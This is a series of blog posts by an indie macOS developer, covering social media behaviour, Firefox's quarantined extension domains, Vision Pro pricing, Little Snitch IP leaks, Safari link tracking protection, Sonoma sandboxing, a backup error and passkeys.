While Twitter never got me a new job, it did help me to promote my indie software, which has kept me in happy self-employment. Social networks were never just money-making platforms for me, however. Working from home since 2008, I found some desperately needed social interaction online. For better or worse, I mixed business with pleasure, to the extent that you can call tweeting or tooting (Mastodon) or skeeting (Bluesky) a "pleasure". (Is it called threading on Threads?)

I have mixed feelings about social media. As far as I'm concerned, the main problem is that it only takes one aggressive reply from an internet rando (typically someone who doesn't even follow me) to ruin my day, and given a globally open social media platform, the odds of such an internet rando existing at any time are uncomfortably high. Some people claim that the "algorithm" is the main problem with social media, but that's not my experience, for I've encountered aggressive internet randos even on Mastodon, which has no algorithm other than the reverse chronological timeline of the accounts you follow. The worst part of the aggressive internet rando reply is that it's totally masturbatory: the rando doesn't really give a damn about you, they're just using your post as an excuse to boost their own ego. They always take your post completely out of context and assume the most uncharitable interpretation of your words, as if you're merely a punching bag rather than a person.

I'd say there are two underlying causes of the aggressive internet rando phenomenon. First, there's the "boost", as it's called on Mastodon, the retweet on Twitter, the reblog on some other networks. It's not necessarily the automated algorithm that's putting your social media posts in the crosshairs of the internet randos but rather your own followers who are manually spreading your posts to others who don't follow you. This can actually be seen definitively in many of the replies from randos, which include an @ mention of the account that boosted your post. The paper trail is marked.

The second cause of the aggressive internet rando phenomenon is the lack of consensus on social media platforms about the purpose of the platform. I've already stated my purpose in using social media, which is to promote myself professionally and to provide a substitute for friendly in-person social interactions. Fortunately, there are a lot of people who feel the same way as me about this. Unfortunately, there are also a lot of people on social media who feel very differently. Some of them are here for "debate club". Social media is like a sport to them, and they feel the urge to participate in verbal battle, either to sharpen their intellect and knowledge (they believe) or just for shits and giggles. On the other hand, social media is also popular with the "slacktivist" crowd: internet randos who not only feel strongly about social and political issues (which I do!) but also believe (which I don't) that posting on social media is important work that makes a difference. As far as I can tell, this so-called "important work" by the slacktivists is exclusively preaching to the converted among their followers. They appear to be more interested in being loud than convincing, which inevitably results in alienating rather than converting anyone who isn't already a disciple. Bizarrely but nonetheless predictably, their ineffectiveness fails to disabuse them of their slacktivism but only emboldens it, for they take angry responses as proof that their "work" is important and making a difference. (Yes, I know I'm being harsh here. The reason is that I recently got an unapologetically aggressive internet rando reply from a slacktivist with delusions of grandeur, and it's still bothering me.)

[Edit:] To clarify, I do see the value of organizing online, as a prelude to action. But I've seen no evidence that simply posting stuff makes much difference, while I've seen a lot of evidence that yelling at strangers online is pointless and counterproductive.

Whenever you push back against an aggressive internet rando reply, their reaction is almost universally the same: "You posted in public! What did you expect?" The inherent problem with this reaction is that it's extremely difficult if not impossible to be social at all on social media without posting in public. You can lock down your social media account so that your posts are only visible to your followers, but how do you even meet other people on social media, make friends, and acquire followers in the first place if nobody can see your posts? The attitude of the aggressive internet randos is nothing more than an assumption and demand that you use social media in the way that they prefer, not in a way that you find useful and convenient.

From what I can tell, the majority of people on social media are actually quiet lurkers who passively consume content without posting much. When they do speak, they sometimes express puzzlement about the notion that social media is "toxic", because from their perspective, they only see what they want to see, their chosen content that they follow. They read and then leave, without participating or contributing. In fact the quiet lurkers will sometimes offer the advice to emulate them in quiet lurking to avoid any problems you might have with social media. From my perspective, however, this attitude is strange, since the quiet lurkers are 100% dependent on non-lurkers like me to provide content for them to read. Without the minority of social media posters, the majority of social media readers could not exist. In other words, if my social media behavior is illogical and irrational, then why are you following me, an obvious nut case?

It's natural for people to want to express their opinions among people they know, to shoot the breeze, as it were. In person, this is pretty safe. You're among friends. Even in a public space, such as a restaurant, coffee shop, or bar, it would be uncouth for a random stranger to listen in on your conversation and interrupt with an aggressive response. Nobody would defend the breach of etiquette in that context with "You were talking in public! What did you expect? If you don't want random strangers responding to your conversations, go home." Apparently there is no etiquette on social media, though. It's not a safe space among friends, even if your only intention is to shoot the breeze with your followers—followers who you acquired only by posting in public. You're expected to have a "thick skin" online, and if you don't take well to aggressive internet rando replies, then you're forced to become reserved and strictly censor yourself, defeating the purpose of your internet presence, which is to open yourself up to others. It seems to be a no-win scenario for those who use social media to be, you know, social, not antisocial.

So yeah, this has become quite a bit of a rant. As I said, not a happy anniversary! ;-)

I don't claim perfection in my own social media behavior. I've sometimes responded to the perverse incentives, fallen into the trap, given in to temptation. I am human, and thus flawed. Yet I do make an effort to mind my own business as much as possible. For example, I disable boosts/retweets for every account I follow, in order to minimize the number of potentially enraging or annoying things that cross my path. This may be my dirty little hypocritical secret, because I do boost posts myself despite hiding boosted posts from others! Sosumi. I also mute a lot of words related to topics that would potentially enrage me. Relatedly, I don't get my news, especially non-tech news, from social media. Which is not to say that I bury my head in the sand and don't read news at all. I simply read news under controlled conditions, at times of my choosing from sources that I choose, instead of allowing my social media feed to push whatever it wants in front of my eyeballs whenever it wants. That's how I maintain at least some semblance of sanity online.

Has this blog post been useful or enlightening to anyone? I don't know. I'm only rambling online, as I do on Mastodon and did on Twitter before that. My blog doesn't have comments, so I can't get any aggressive internet rando replies here, but please try to avoid that elsewhere as well! That's not what I'm on social media for, and hopefully you want me to remain on social media.

]]>
Firefox 115 can silently remotely disable my extension on any site https://lapcatsoftware.com/articles/2023/7/1.html 2023-07-05T13:10:00Z 2023-07-07T18:30:00Z Firefox version 115.0 was released on July 4, but I'm not celebrating. I'm concerned about a new "feature" in the release notes.

Certain Firefox users may come across a message in the extensions panel indicating that their add-ons are not allowed on the site currently open. We have introduced a new back-end feature to only allow some extensions monitored by Mozilla to run on specific websites for various reasons, including security concerns.

For various reasons. That's quite uninformative and mysterious.

I'm all in favor of giving users control over which extensions are allowed to load on which sites. Safari already has this feature on both macOS and iOS. My concern is not about user control—little of which even exists in Firefox 115, as I'll show later—but rather about the remote control that Mozilla has now given itself, as mentioned in a Bugzilla report.

We need to have ability to set the list of quarantined domains remotely. The pref should be a string with the same format as extensions.webextensions.restrictedDomains.

The pref will be extensions.webextensions.quarantinedDomains, and it will have a default value set in a patch for bug 1745823 (to include a couple real but "test" subdomains from badssl.com).

Filing as confidential for now, until we ship the system addon.

You have to wonder why an open source project required confidentiality about this. Incidentally, neither Safari nor Chrome, or any other browser as far as I know, has such a remote domain-specific kill switch for extensions, so you have to wonder why it was necessary in Firefox.

I believe that Mozilla already had the capability to remotely disable an individual extension, if it turned out to be malware. After all, every Firefox extension needs to be uploaded to Mozilla for analysis and cryptographically code signed before it can be installed in Firefox. [Edit: I've now confirmed that Mozilla has an extensions blocklist.] Given this preexisting capability, it's unclear why there should be a list of domains where all except a lucky few chosen extensions are disabled, regardless of whether the disabled extensions have shown signs of misbehavior.

The Firefox quarantined domains list is currently empty. Mozilla hasn't said which domains it intends to add, or even why a domain-specific list is required. I find this troubling. It's a feature with no apparent motivation, supposedly for "security concerns"—among other "various reasons"—but what are the specific security concerns here, that would be addressed by a remotely controlled domain list? Mozilla's opacity and vagueness feels almost deliberate, undermining our trust.

Let's see how the user interface actually works in Firefox 115. Although the quarantined domains list is empty by default, you can edit the list manually in the about:config page.

Firefox about:config extensions.quarantinedDomains.list www.youtube.com

I've added the domain www.youtube.com to the list. After relaunching Firefox, you can see the warning in the Extensions popup.

Some extensions are not allowed. Only some extensions monitored by Mozilla are allowed on this site to protect your data.

My own extension StopTheMadness, which is not "monitored by Mozilla", is "Not allowed by Mozilla" on YouTube. (This warning is inaccurate, of course, since it was me rather than Mozilla who added YouTube to the domains list.) Apparently uBlock Origin is monitored by Mozilla, for it is allowed on YouTube despite my quarantined domains list. It's nice to be big, I guess.

Note that the warning appears in the Extensions popup rather than on the Extensions icon, so you wouldn't know that StopTheMadness was disabled on YouTube unless you opened the popup (or unless you saw the autoplaying videos on YouTube that StopTheMadness would otherwise stop.)

What happens, though, if you pin the extensions to the toolbar for easy access to their settings?

StopTheMadness and uBlock Origin pinned to Firefox toolbar

It turns out that when you pin an extension to the toolbar, it no longer appears in the Extensions popup! Consequently, the quarantined domains warning no longer appears in the Extensions popup either. In fact, there's no longer an Extensions popup: clicking the Extensions toolbar icon simply opens the about:addons page, which doesn't show the quarantined domains warning anywhere.

Firefox Add-ons Manager

This is a terrible user interface design for the new so-called "security" feature, silently disabling extensions while hiding the warning from the user. And remember, the quarantined domains list can be changed remotely at any time by Mozilla, without needing a Firefox software update. Firefox just has to "phone home" to Mozilla. (Another reason to install Little Snitch. [Edit: I believe the domain is firefox.settings.services.mozilla.com in this case.])

We have no idea how Mozilla intends to use the quarantined domains list. Some people are speculating, with no evidence, about "banking". But there are innumerable banks in the world. What is Mozilla supposed to do, make and maintain a list of every banking web site in the world? While it makes sense for users to have the ability to manually exclude their own banking sites from extension access if they prefer, what sense does it make for Mozilla to arbitrarily select certain web site domains for general exclusion? Another question: is it impossible for the user to purposely exclude extensions that are "monitored by Mozilla" and given special treatment by Firefox?

My own extension StopTheMadness stops web sites from disabling your browser's built-in paste and autofill features, a kind of madness commonly implemented by sites that have a misguided, ignorant notion about what makes a login form "secure". Thus, it would be a disservice rather than a service to users for Mozilla to remotely disable user extensions on some arbitrarily selected banking sites.

As a little indie software developer, I'm disappointed and irritated that Mozilla, a little developer compared to its competitors—corporate giant browser vendors Apple, Google, and Microsoft—would choose to create a two-tier system in which only the biggest extension developers get exclusive access and exemptions. I know that users love uBlock Origin, but I hate the idea of a world where uBlock Origin is the only extension allowed. That's the type of consumer and power centralization that Firefox and Mozilla are supposed to be fighting against. I don't like an extension monopoly any more than I like a browser monopoly.

Addendum July 7 2023

Mozilla has now posted a support article about the new quarantined domains feature. Here's an excerpt:

Firefox version 115 introduced Quarantined Domains to protect our users' privacy and security when we discover significant security issues presented by malicious actors. This feature allows us to prevent attacks by malicious actors targeting specific domains when we have reason to believe there may be malicious add-ons we have not yet discovered. Users can also control this behavior for each add-on in the Add-on Manager (about:addons) starting with Firefox version 116. We will be further improving the UI for users in future releases.
]]>
My thoughts on Apple Vision Pro https://lapcatsoftware.com/articles/2023/6/4.html 2023-06-14T14:35:00Z 2023-06-14T14:35:00Z 1. Naming

There are only two hard things in Computer Science: cache invalidation and naming things. I joked during the WWDC keynote that "Vision Pro" sounds like a health insurance plan.

Conspiracy theory: a common criticism of Tim Cook is that he has no vision; now he does, literally.

Incidentally, I did think that macOS Sonoma was a fine name.

2. Concept

I wasn't in Cupertino for WWDC and haven't tried Vision Pro. From what I've seen and heard, it does look very cool. I'm excited by the concept. Indeed, I'm much more excited about Vision Pro than I am about iPad (not very) or Apple Watch (not at all). I feel that iPad is just a stunted laptop, and Watch is high tech snake oil. In contrast, Vision Pro has the potential to open up a whole new paradigm of personal computing.

Will a headset be practical? I don't know. It's far too early to judge. The fake eyeballs are creepy though. I'm not sure about that design choice.

3. App Development

It has been confirmed by Apple that Vision Pro will support Safari extensions! Therefore, it appears to be possible for me to port StopTheMadness to visionOS. (I watched some WWDC videos in which the Apple engineers referred to it as "xrOS".) I haven't made any decisions yet, but I am thinking about applying for a Vision Pro development kit, depending on availability and pricing.

4. App Pricing

My main concern about Vision Pro development is recouping the cost. (I wear prescription glasses for reading and computing, so that may be an additional expense.) And Apple handled the Apple silicon developer transition kit somewhat badly. Hopefully they learned their lesson from that! Apple has stated that the consumer price of Vision Pro will be $3500 (not including prescription lenses), so I assume that I would end up paying approximately that cost as a developer.

I read an article by developer David Smith that was mostly fine but included one section that I found disturbing:

I do suspect that most of the economic realities of the App Store will carry over to this platform. That there will be a rush towards the bottom in regards to pricing and a general user expectation that software should be free (or nearly free).

If Smith's suspicion is true, then I have no interest in developing for Vision Pro. It's never really been viable for little indie developers like me to "make it up in volume" on iPhone. There are over a billion potential customers, but turning potential customers into actual customers is extremely difficult. Unlike BigCos, we don't have giant advertising and marketing budgets. We don't have the news media following and covering our every move. We have word of mouth, which is effective but limited. We need sustainable software prices to survive. One of the best business decisions I ever made was to charge separately for StopTheMadness Mobile. If I had given it away for free to previous Mac customers, as a "universal purchase", I doubt that I'd still be in business today.

I feel that this new platform is an opportunity for a pricing reset. The initial price of the product makes a mass consumer market unlikely in the near future. Compare with iPhone, which started at $499 and quickly dropped down to $199, prices that were much more affordable to consumers than Vision Pro. We can state definitively that not a single Vision Pro buyer will be able to plead poverty. Thus, I would implore developers to charge separately for their visionOS apps, and charge a higher, sustainable price. That's certainly my intention. It's the only way I can pay for Vision Pro development. If I could break even on the device by selling approximately 500 app units (after income tax and the "Apple tax"), then the investment might be worth the risk.

5. Product Pricing

I've seen a specious argument going around, made by a number of people, claiming that Vision Pro isn't really expensive, because the initial price of the Macintosh in 1984 was $2500, which would be $7500 today, adjusted for inflation, and the Vision Pro's $3500 is less than half of $7500. But that's not how inflation works! As disproof of the argument, look at the price of an iMac today: $1300. That's actually massive "deflation" from 1984.

You might insist that the Mac Pro ought to be the analogous machine from today rather than the iMac, but that wouldn't help the argument at all, because the Mac Pro starts at $7000 (without a display!), which is indisputably exorbitant, out of reach for almost everyone, even software developers. (I would remind you that the Mac Pro started at only $2500 in 2006 and experienced massive price inflation in the relatively short time since then, especially with the 2019 model.)

Inflation is an aggregate. It doesn't affect every product equally. Some prices go up, some go way up, some stay the same, and some go down. Consumer electronics have achieved mass markets by reducing prices. That's one of the reasons the Mac sells vastly more units today than in 1984. And it's also one of the reasons that the 1984 Mac was a much bigger hit than its predecessor the Lisa, which cost $10,000. (Perhaps in 40 years we'll watch a documentary about how Apple secretly sent a bunch of Vision Pro units to a landfill.)

Inflation can be useful for short-term comparisons, but it's less useful for historical comparisons, especially when you arbitrarily select a single product for comparison. The entire economy, the "basket of goods" available, changes over time. In 1984, the only option for personal computing was a desktop computer. They didn't have smartphones, smart watches, smart TVs, tablets, laptop computers, etc. Some people today have every single one of those products in their homes. When the only option was a desktop computer, you could afford to invest more in that one option, because you didn't need money left over to pay for other computing devices. The "smart headset" is unlikely to be a replacement for any of the other personal computing devices, at least not in the near future. It's a supplement, and thus the costs of all the other devices have to be considered along with the cost of the headset. Another consideration with regard to inflation is how much wages have increased—or not increased!— over time, relative to other prices. A mass market depends on the disposable income of the masses.

The Mac has always been and continues to be a legitimate business expense, whether the Mac is purchased by a business or purchased by an individual with personal business in mind. As much as Apple has tried to hype Mac gaming in recent years, the empirical reality doesn't match the hype. The Mac is in large part a device for "getting stuff done". While the entertainment possibilities of Vision Pro are obvious, the business case for Vision Pro is much less obvious. The basic practicality and utility remains to be seen. So justifying the price of the device as something that "pays for itself" is much more difficult. I hope that will be the case for me personally, but it only makes business sense because I'm a software developer who can directly monetize the device.

Vision Pro is very expensive. Let's not try to pretend it isn't. No amount of hand-waving about "inflation" will change that fact, or change the perception. If you're wealthy enough that $3500 doesn't give you pause, that's great for you, but don't expect everyone else to feel the same way.

]]>
Little Snitch "denied" connections leak your IP address: Developer response https://lapcatsoftware.com/articles/2023/6/3.html 2023-06-12T16:30:00Z 2023-06-12T16:30:00Z About a month ago I wrote a blog post and a follow-up about how Little Snitch—and all network content filter extensions, as it turns out—leak your IP Address. Last week the developer of Little Snitch responded to my blog posts, though they didn't directly mention me:

There has been some discussion recently about the bypassing of Little Snitch by the first datagram of a three-way TCP handshake.

I guess it literally goes without saying that this discussion was spurred by my blog posts. Another strange thing about their response was the timing, which was the morning after the WWDC keynote, so it mostly got lost in all of the other big news. I didn't have much time to look at it last week, so I'm coming back to it now.

In my follow-up blog post, I mentioned that I filed a bug report with Apple (FB12088655 "Privacy: Network filter extension TCP connection and IP address leak"). I've received no response from Apple to my bug report. However, the developer of Little Snitch (Objective Development) claims that this behavior is by design, not a bug, and indeed defends the design.

Before I address the defense, I want to emphasize that IP address leaks are a serious privacy problem. It's one of the reasons that VPNs exist. Apple's own iCloud Private Relay, which is similar to a VPN in some ways, is also designed to hide your IP address. Thus, I think we need to start with the assumption that network filter extensions ought to avoid leaking your IP address, if possible.

Objective Development's blog post talks a lot about latency:

When a connection should be established, the data must be passed from the kernel to an Apple user space process and from this user space process to the respective Network Extension. The Network Extension makes a decision based on rules, sends back the result via to the original user space process which in turn sends it down to the kernel. A long path, isn‘t it?

When you open a web page in a browser, it‘s quite possible that 10 to 100 more connections are opened (to various trackers and ad servers, by the way) and delaying each connection only by a few milliseconds would degrade perceived performance. This is of course a red rag for Apple. They want to be the best and fastest and browser benchmarks are a common way to compare systems. That‘s the most relevant operation for most users, after all.

I feel that bringing up browser benchmarks is a red herring that doesn't help the argument at all. Every browser on the Mac is affected equally by a network extension like Little Snitch; it makes no difference whether you use Safari, Google Chrome, or Firefox. Perhaps Objective Development is referring to Mac vs. Windows comparisons, but that's still a red herring and makes little sense, because benchmarks would not typically be taken with a network filter extension installed. Little Snitch is not a built-in macOS component but rather an optional third-party app, used by only a small minority of Mac users. This small minority tends to care deeply about their privacy, which is why they spent the money to purchase Little Snitch.

I'm not persuaded that performance over privacy is a good tradeoff for network extension users. And we don't even get the choice. Apple is imposing its decision on everyone, with no options. And speaking of performance, do you know what else can degrade it? iCloud Private Relay! Apple essentially admits this while trying to dance around the fact:

Private Relay uses a single, secure connection to maintain privacy and performance. This design may impact how throughput is reflected in network speed tests that typically open several simultaneous connections to deliver the highest possible result. While some speed test measurements may appear lower when Private Relay is enabled, your actual browsing experience remains fast and private.

Additional latency may be the price of protecting your privacy, and that's a price I'm willing to pay. Moreover, network latency due to the distance between client and server, especially for intercontinental connections, may dwarf whatever local process latency exists between kernel and network extension. Although I do wonder whether Apple's design here is inherently flawed. Why is the kernel waiting on user space?

Compare network content filter extensions with Safari content blocking extensions. With the latter (my own StopTheFonts is an example), the content blocking extension declares a set of static blocking rules, and then Safari itself does all of the work of applying the rules, in Safari's own process space; the extension process doesn't even need to be running at the time. Whenever the user changes the content blocking rules in the app, the app simply tells Safari to reload the rules. Safari is never waiting on the content blocking extension to provide a verdict on individual URL loads.

It seems to me that Apple could do network content filter extensions the same way. Why couldn't Little Snitch provide its rules to the kernel in advance and let the kernel itself do all of the filtering, without having to switch contexts? Of course, when there's an "Ask for Connections" rule, the kernel would have to call out to user space, but in that case there's no reason for the kernel to optimize by starting the TCP 3-way handshake, because presenting a dialog to the user and waiting for a manual response already introduces a huge, potentially unbounded amount of latency. (For those not familiar with Little Snitch, it has 3 types of rule: "Allow Connections", "Deny Connections", and "Ask for Connections".) A design analogous to Safari content blocking extensions would seem to mitigate some of the latency that Objective Development mentioned, without sacrificing privacy. Even in those cases where deep packet inspection is required to associate the IP address with a URL host, that work could also be performed directly by the kernel instead of the user space process.

One of the questions I raised in my blog posts was not answered by Objective Development: why does Little Snitch leak your IP address on every TCP connection attempt, when LuLu and my own sample network filter extension do not? Describing the implementation of the earlier version 4 of Little Snitch, which was based on their own kernel extension, Objective Development explains why the TCP 3-way handshake was allowed in some limited circumstances:

This procedure (a lightweight version of Deep Packet Inspection) was only needed if there were multiple names known to resolve to the given IP address.

The necessity of deep packet inspection in some cases doesn't explain the current behavior of Little Snitch 5, which allows the 3-way handshake in all cases. And regardless, I would like the option, as a user, to enable or disable this behavior, so that I can control my own privacy level. I don't want Apple or Objective Development deciding that for me.

]]>
Safari 17 Link Tracking Protection Details https://lapcatsoftware.com/articles/2023/6/2.html 2023-06-09T14:45:00Z 2023-06-10T02:50:00Z A blog post by Cory Underwood inspired me to poke around in the macOS Sonoma beta to discover more details about the new Link Tracking Protection in Safari 17. From Apple's press release:

Link Tracking Protection in Messages, Mail, and Safari Private Browsing
Some websites add extra information to their URLs in order to track users across other websites. Now this information will be removed from the links users share in Messages and Mail, and the links will still work as expected. This information will also be removed from links in Safari Private Browsing.

According to Underwood's blog post, "It appears that the policy that Safari leverages for which parameters to removed is loaded via a remote service", and this appears to be correct! I found several relevant files inside a new directory that doesn't exist on Ventura:

$(getconf DARWIN_USER_CACHE_DIR)com.apple.WebPrivacy

You might know DARWIN_USER_CACHE_DIR better as

/var/folders/[random]/[random]/C/

In particular there's a QUERY_PARAM.wplist file that contains a list of URL query parameters to be removed. This list currently comprises 25 of the usual suspects, click identifiers such as fbclid (Facebook), gclid (Google), and msclkid (Microsoft).

Incidentally, most of these parameters, and others not on Apple's list, are already automatically removed by my Safari extension StopTheMadness.

As an experiment, I disabled my wifi, deleted the com.apple.WebPrivacy directory, and logged out. Lo and behold, Safari private browsing Link Tracking Protection stopped working! Then after I re-enabled my wifi, Link Tracking Protection started working again, and I found that the com.apple.WebPrivacy directory had been recreated. Q.E.D.

Addendum

I've been informed by a reliable source that Apple's QUERY_PARAM.wplist list of tracking query parameters came from PrivacyTests.org.

]]>
macOS Sonoma sandbox security https://lapcatsoftware.com/articles/2023/6/1.html 2023-06-06T23:05:00Z 2023-06-07T18:20:00Z From Apple's new Security updates document:

App Sandbox now associates your macOS app with its sandbox container using its code signature. The operating system asks the person using your app to grant permission if it tries to access a sandbox container associated with a different app. For more information, see Accessing files from the macOS App Sandbox.

And further explanation from the document linked in the above quote:

When your sandboxed app launches for the first time, macOS creates a sandbox container on the filesystem (in ~/Library/Containers) and associates it with your app. Your app has full read and write access to its sandbox container, and can run programs located there as well.

In macOS 14 and later, the operating system uses your app’s code signature to associate it with its sandbox container. If your app tries to access the sandbox container owned by another app, the system asks the person using your app whether to grant access. If the person denies access and your app is already running, then it can’t read or write the files in the other app’s sandbox container. If the person denies access while your app is launching and trying to enter the other app’s sandbox container, your app fails to launch.

The operating system also tracks the association between an app’s code signing identity and its sandbox container for helper tools, including launch agents. If a person denies permission for a launch agent to enter its sandbox container and the app fails to start, launchd starts the launch agent again and the operating system re-requests access.

What does this all mean, exactly? Well, I found out the hard way, by building and running a Mac app in Xcode on Sonoma.

AdHocTest is from an unidentified developer and differs from previously opened versions. Are you sure you want to open it? Opening AdHocTest will allow it to access data from previously used versions of AdHocTest

I didn't see this the first time I ran the app, but I saw it every time I modified and re-ran the app. The reason, I discovered eventually—by remembering what I read yesterday (the above quotes)—is that the app was both sandboxed and ad hoc code signed. Ad hoc code signing is indicated by "Sign to Run Locally" in Xcode.

Xcode Signing

You'll frequently see ad hoc signing in open source Xcode projects that are distributed on the internet, because otherwise the project would depend on the developer's personal team and code signing certificates.

The arguments --sign - specify ad hoc signing with the codesign command-line tool. From the man page:

Ad-hoc signing does not use an identity at all, and identifies exactly one instance of code.

Every time I modified the app, it got a different ad hoc code signature, which is why Sonoma is complaining on subsequent launches. These cancel-or-allow style dialogs do not appear on launch for ad hoc signed apps that aren't sandboxed, because they don't have containers. However, if a non-sandboxed app attempts to access the container (~/Library/Containers/com.yourcompany.AdHocTest/Data/) of a sandboxed app, I see the following dialog:

AdHocTest.app would like to access data from other apps. Keeping app data separate makes it easier to manage your privacy and security.

This happens every time I run the non-sandboxed app. I don't know yet whether there's a way for a non-sandboxed app to preserve the granted file access across launches. It doesn't appear in the Files and Folders section of Privacy & Security System Settings.

Sandbox containers on Sonoma seemed to be protected in general from other apps, even from Terminal app.

Terminal.app would like to access data from other apps. Keeping app data separate makes it easier to manage your privacy and security.

Of course, Full Disk Access in System Settings overrides the restriction and grants access to everything, including sandbox containers.

Addendum June 7 2023

A lot of what I discuss in this blog post is mentioned in the new WWDC session video What's new in privacy, starting at around the 17:30 minute mark.

I said, "I don't know yet whether there's a way for a non-sandboxed app to preserve the granted file access across launches." The answer appears to be no.

]]>
macOS: Attribute Not Found? https://lapcatsoftware.com/articles/2023/5/2.html 2023-05-19T00:15:00Z 2023-05-19T00:15:00Z I have a bit of a mystery, and I'm hoping that my readers can help me with it. When I was manually backing up my M1 MacBook Pro today, I experienced something bizarre that I can't explain.

Last year I wrote about my backup strategy for my new MacBook Pro. What I do is boot into recovery, mount the Data volume, and then run the following commands in Terminal:

pmset -a sleep 0

pmset -a disksleep 0

hdiutil create -encryption -format UDSB -srcfolder /Volumes/Data -noatomic -noscrub -volname 2023-5-18 -verbose -puppetstrings /Volumes/backup/2023-5-18.sparsebundle

(By the way, I've filed FB11120333 "hdiutil should prevent sleep".)

I've followed this routine weekly over the past year, and it worked every time. Today, however, I ran into an error: "Attribute Not Found". This happened on every attempt, a few seconds after starting hdiutil. The error happened with the same file every time. The file path had this format:

/System/Volumes/Data/.Spotlight-V100/Store-V2/[UUID]/Cache/0000/0000/[#]/[#].txt

There are a bunch of these text files inside the Spotlight store, and they appear to contain imported Spotlight data. In Terminal, I tried to cat the file in question, but I couldn't! I got the same "Attribute Not Found" error from the cat command.

I believe the error is actually kPOSIXErrorENOATTR. As you can see, Apple's "documentation" is not helpful, nearly nonexistent. If you're wondering, the files don't appear to have any xattr.

I supposed that it must have been some kind of file corruption. I tried to repair the volume in Disk Utility, but that didn't change anything, or show any errors. Since I really needed to back up the disk before I installed the macOS 12.6.6 update (I was running 12.6.5), and I was at a loss about what else to do, I decided to just rm the file. This worked, no error. For good measure, I also rmdir the containing directory, which was otherwise empty. And afterward, hdiutil was able to complete its backup job successfully! I've installed 12.6.6, and I'm not experiencing any problems now as far as I can tell. Yet the mystery remains, and now I fear that the problem may happen again in the future.

Does anyone know what that "Attribute Not Found" error was about? If you have any experience with this, please let me know. My contact info is on my main page. Thanks! I'm puzzled.

]]>
Passkeys: A loss of user control? https://lapcatsoftware.com/articles/2023/5/1.html 2023-05-07T17:30:00Z 2023-05-08T01:00:00Z This blog post doesn't have the answers. I'm trying to learn about passkeys, but I don't claim to be an expert. I do have a lot of questions, especially for Apple, because I'm an Apple user and developer. According to Betteridge's law of headlines, "Any headline that ends in a question mark can be answered by the word no." Nonetheless, I want to suggest that the answer to the question posed by my headline might be yes. One thing is painfully clear to me already: the BigCos are coming for our passwords, so passkeys can't be ignored. Google recently wrote about the beginning of the end of the password. Apple has also indicated that it wants passkeys to replace and eliminate passwords. For example, the manager of the Authentication Experience team at Apple has said I’m really looking forward to working with all y’all to eliminate passwords and the harm they cause. Even 1Password, with "Password" literally in its name, has written about the passwordless experience you deserve, asking the rhetorical question "If passwords are going away, do I still need a password manager?" and stating "We believe passwordless is the future, and we want to help everyone get there faster." Although the timeline is unknown at the point, the end game is known: the end of passwords, game over.

A passkey, in essence, is nothing but a cryptographic key pair—a public key and a private key—like you would use with ssh. The major difference between passkeys and ssh keys is how they are managed. You can, and should as good practice, generate separate ssh keys for each ssh service that you use, just as you should generate separate random passwords for each web service that you use. It's really not that hard, folks! Just add an entry to your ~/.ssh/config file:

Host github.com
User git
IdentityFile ~/.ssh/id_ed25519_github

However, this is optional, and if you really insist, you can use the same public-private key pair with multiple ssh services. On the other hand, passkeys are always associated with a single web service, never with multiple services, so that's an improvement in security over ssh keys and passwords. There's no reuse, and as far as I know there's no real downside to lack of reuse, because passkey generation and site association is handled automatically by the authenticator.

So far, so good. So what's the problem? With passwords and ssh keys, I can look at them. I can copy and paste them. I can write them down on a piece of paper. I can import and export them. I can back them up to external hard storage. Whereas in my testing with macOS Ventura and Safari, none of this is possible with passkeys. In fact, Apple requires you to enable iCloud and iCloud Keychain in order to save a passkey on a macOS or iOS device. You can easily test for yourself with a demo site.

I hate iCloud and never use it for anything important. I avoided iCloud entirely for a very long time, but I finally caved in to customer demand and enabled iCloud Drive so that I could add iCloud export and import of settings to my web browser extension StopTheMadness and more recently iCloud sync to my new Safari content blocker StopTheFonts. Why do I hate iCloud? It's unreliable, with Apple web services going down not infrequently. It's a violation of privacy, because your device is constantly phoning home to Apple. It's intrusive, because when you enable iCloud, it wants to immediately upload everything—calendars, contacts, documents, mail, messages—from your device to the cloud, without asking first. Whenever you install a new app that supports iCloud, sync gets enabled silently, without your consent; you have to watch your System Settings like a hawk! Sometimes iCloud just seems to enable things for no apparent reason. And if you log out of iCloud and log back in (I've needed to do this for software testing), it forgets your previous settings and enables everything again. (I've filed feedback with Apple about this.) It's wonky. You can't actually trust iCloud to sync correctly. For example, last month I helped my mom update her Mac to a new macOS version, and for some reason iCloud duplicated all of her contacts! It's opaque. You can't see the specific details of iCloud's sync operation, or manage it yourself. This is true of passkeys as well. I looked at the iCloud keychain in macOS Keychain Access, and all I saw for passkeys was a bunch of SOSDataSource-ak files with data that I couldn't access. iCloud is insecure. Apple makes it too easy for criminals to "recover" your Apple ID and seemingly impossible for you to lock down your account voluntarily in way that would prevent recovery by someone else. (Personally, I never want my Apple ID to be reset without my current password or my cryptographically secure recovery key. My multiply redundant backup routine ensures that I'll never lose these.)

I get the feeling, from how I've seen Apple behave and how Apple employees talk, that Apple has no intention to ever loosen their requirements for passkeys. And to be clear, these requirements are inessential, arbitrary, paternalistic. As far as I can tell, the WebAuthn standard doesn't explicitly require an authenticator to use cloud sync, or forbid manual export of passkeys. Apple's attitude seems to be that users can't be trusted with their own passkeys. My fundamental problem is, I don't trust Apple to manage my passkeys, especially not via iCloud, nor do I consent to subject myself to the requirement of using their cloud services.

What are the alternatives to allowing the operating system to save passkeys? 1Password claims to be shipping passkey support in 2023. However, I don't like 1Password either. It used to be good way back in the day, originally, but I stopped using it many years ago when 1Password version 4 removed Mac keychain support, effectively making it 2 passwords instead of 1 password. The product has only gotten worse since then, with the company taking VC funding, forcing users into their cloud service just like Apple, and adopting "subscription" payments—more accurately, software rental—which I hate.

You can save passkeys on a separate hardware peripheral such as a YubiKey. I bought a YubiKey for a Google account when Google required two factor authentication for Chrome Web Store developers. (StopTheMadness used to be in the Chrome Web Store before Google eliminated the store payment system.) I hate using a YubiKey too, because it's so inconvenient. Every time I need to log in, I have to dig the YubiKey out of a drawer. And since last year when I bought a new MacBook Pro without any USB 2 ports, I also have to get a dongle just to plug in my YubiKey. Am I supposed to bring the YubiKey and USB dongle with me everywhere I take my laptop? The whole thing seems to be a bit of security theater too, because the YubiKey is not keyed to my biometrics, so anyone in physical possession could touch the button to authenticate. In any case, passkeys in YubiKeys are not copyable, so the backup problem still exists with this method of saving passkeys.

The people driving the adoption of passkeys are mostly big tech companies and banks. I'm not convinced that they have my interests at heart, and "user freedom" is not likely to be in their vocabulary. They're more than happy to lock you in to their ecosystems and set all of the rules for how you can live in the computing world. There are real problems with passwords, of course, but I fear that the elimination of passwords will mean the elimination of freedom, and lead to a passkey police state, as it were.

